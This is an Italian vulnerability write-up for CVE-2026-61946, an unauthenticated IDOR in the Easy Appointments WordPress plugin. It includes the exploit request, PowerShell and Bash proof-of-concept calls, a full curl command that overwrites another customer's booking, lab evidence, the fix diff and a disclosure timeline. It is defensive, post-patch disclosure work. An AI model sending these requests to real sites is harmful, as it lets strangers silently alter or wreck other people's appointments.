
CVE-2026-61946: IDOR non autenticato in Easy Appointments <= 3.12.27
Ho trovato un riferimento diretto a oggetti insicuro (IDOR), sfruttabile senza autenticazione, nel plugin WordPress Easy Appointments. L'endpoint pubblico di prenotazione accettava un id dalla query string e passava i dati risultanti al percorso replace() del database del plugin.
Ciò significava che una nuova richiesta di prenotazione pubblica poteva trasformarsi in un aggiornamento di una riga di appuntamento esistente. Non erano richiesti login, cookie o account WordPress. Bastava fornire la chiave primaria di un altro appuntamento, scegliere uno slot libero reale, e il plugin sovrascriveva quella prenotazione con dati cliente e appuntamento controllati dall'attaccante.
| CVE | CVE-2026-61946 |
| Plugin | Easy Appointments |
| Slug | easy-appointments |
| Affected | <= 3.12.27 |
| Fixed | 3.12.28 |
| Bug class | IDOR non autenticato / chiave primaria controllata dall'utente (CWE-639) |
| Impact | Sovrascrittura arbitraria di appuntamenti esistenti |
| CVSS | 6.5 Media (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L) |
| Credit | Daniel Wade |
| Patchstack PSID | 4f9c506f9f90 |
L'endpoint pubblico accettava una richiesta con questa forma:
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example
L'id=2 non veniva trattato come identità di oggetto non attendibile. Nelle versioni affette, superava il filtraggio degli input e raggiungeva il percorso di sostituzione nel database. Se la riga 2 apparteneva già a un altro cliente, la richiesta pubblica aggiornava quella riga invece di crearne una nuova.
Before: id=2 | Jane Victim | [email protected] | confirmed | $50.00
After: id=2 | ATTACKER | [email protected] | reservation | $50.00
Easy Appointments espone l'handler di prenotazione a visitatori non autenticati:
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));
È il comportamento previsto per un modulo di prenotazione pubblico. Il bug di autorizzazione consisteva nel fidarsi della chiave oggetto del chiamante all'interno di quell'handler pubblico.
Il flusso vulnerabile era:
unauthenticated GET
-> action=ea_res_appointment
-> $_GET['id']
-> allowed through the reservation field list
-> models->replace('ea_appointments', $data, true)
-> existing appointment row selected by primary key
-> victim booking overwritten
I controlli nonce e CAPTCHA non stabilivano la proprietà dell'ID appuntamento fornito. Inoltre, nella configurazione che ho testato, erano disabilitati per impostazione predefinita, quindi la richiesta non richiedeva alcuno stato di sessione.
L'endpoint eseguiva comunque un controllo di disponibilità. Questo non risolveva il problema di autorizzazione sull'oggetto; significava soltanto che l'attaccante doveva scegliere una sede, un servizio e un operatore pubblici validi, oltre a una data e a uno slot orario attualmente liberi.
Ti serve:
1. A disposable WordPress lab running Easy Appointments <= 3.12.27
2. The ID of a lab appointment you created for testing
3. Valid location, service, and worker IDs from the public form
4. A time slot that is currently open
Quindi esegui uno dei due PoC con entrambi i flag di sicurezza. Senza --execute / -Execute, gli script si limitano a stampare la richiesta che invierebbero.
PowerShell:
.\poc\reproduce.ps1 `
-Target "http://127.0.0.1" `
-AppointmentId 2 `
-Location 1 `
-Service 1 `
-Worker 1 `
-Date "2026-04-09" `
-Start "15:00" `
-AuthorizedLab `
-Execute
Bash:
./poc/reproduce.sh \
--target "http://127.0.0.1" \
--id 2 \
--location 1 \
--service 1 \
--worker 1 \
--date "2026-04-09" \
--start "15:00" \
--authorized-lab \
--execute
curl manuale:
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
--data-urlencode "action=ea_res_appointment" \
--data-urlencode "id=2" \
--data-urlencode "location=1" \
--data-urlencode "service=1" \
--data-urlencode "worker=1" \
--data-urlencode "date=2026-04-09" \
--data-urlencode "start=15:00" \
--data-urlencode "name=ATTACKER" \
--data-urlencode "[email protected]" \
--data-urlencode "phone=666" \
--data-urlencode "description=PWNED"
Non sono coinvolti header di autenticazione né cookie.
Ho riprodotto il problema su:
WordPress 6.9.4
Easy Appointments 3.12.23.1
Unauthenticated request
No cookies
Nonce disabled
CAPTCHA disabled
Il test ha utilizzato una riga di appuntamento esistente appartenente a un account vittima di laboratorio:
id=2
name=Jane Victim
[email protected]
status=confirmed
price=$50.00
Dopo la richiesta di prenotazione pubblica, la stessa chiave primaria conteneva:
id=2
name=ATTACKER
[email protected]
status=reservation
price=$50.00
Il fatto che la chiave primaria e il prezzo rimanessero invariati rendeva chiaro il comportamento di aggiornamento: non si trattava di una seconda prenotazione che per caso somigliava alla prima. Era la riga esistente a essere sostituita.
Una copia della prova prima/dopo è disponibile in evidence/sample-before-after.txt.
Un attaccante non autenticato che conosce o indovina un ID appuntamento può corrompere i dati del cliente e della pianificazione di quella prenotazione. A seconda del flusso di lavoro del sito, ciò può includere la modifica di:
customer name and email
phone number
appointment description
location, service, and assigned worker
date and start time
reservation status generated by the public flow
Il risultato pratico è una manomissione silenziosa delle prenotazioni: gli appuntamenti legittimi possono essere reindirizzati, spostati, vandalizzati o resi operativamente inutili. Il modulo pubblico espone i valori di pianificazione validi necessari per costruire la richiesta.
Il punteggio ufficiale è 6.5 (gravità Media):
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
La modifica rilevante per la sicurezza nella versione 3.12.28 è meravigliosamente schietta:
foreach ($data as $key => $rem) {
if (!in_array($key, $dont_remove)) unset($data[$key]);
}
+
+unset($data['id']);
+$data['id'] = null;
unset($data['action']);
Il flusso di prenotazione pubblico non può più scegliere la chiave primaria dell'oggetto nel database. La richiesta viene forzata lungo il percorso di creazione di un nuovo record, invece di poter sostituire un appuntamento esistente arbitrario.
Lo stesso commit di sicurezza ha corretto anche la logica dell'opzione nonce. È una utile difesa in profondità, ma la validazione del nonce da sola non costituirebbe un controllo di proprietà per un ID appuntamento fornito dall'attaccante. La rimozione della chiave controllata dal client è la correzione IDOR diretta.
La patch estratta è disponibile in patch/fix.diff.
poc/
reproduce.ps1 # PowerShell lab reproducer
reproduce.sh # Bash/curl lab reproducer
evidence/
sample-before-after.txt # Sanitised proof of row replacement
patch/
fix.diff # Security-relevant upstream diff
README.md
| Data | Evento |
|---|---|
| 2026-04-03 | Segnalato a Patchstack |
| 2026-07-07 | Patch validata |
| 2026-07-16 | Patchstack ha pubblicato la voce della vulnerabilità |
| 2026-07-23 | Pubblicato CVE-2026-61946 |
Disclaimer: Questo PoC è pubblicato per ricerca difensiva e verifica dopo la disponibilità della patch. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita al test.
CVE-2026-61946 - Corretto in Easy Appointments 3.12.28. Versioni affette: 3.12.27 e precedenti.
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online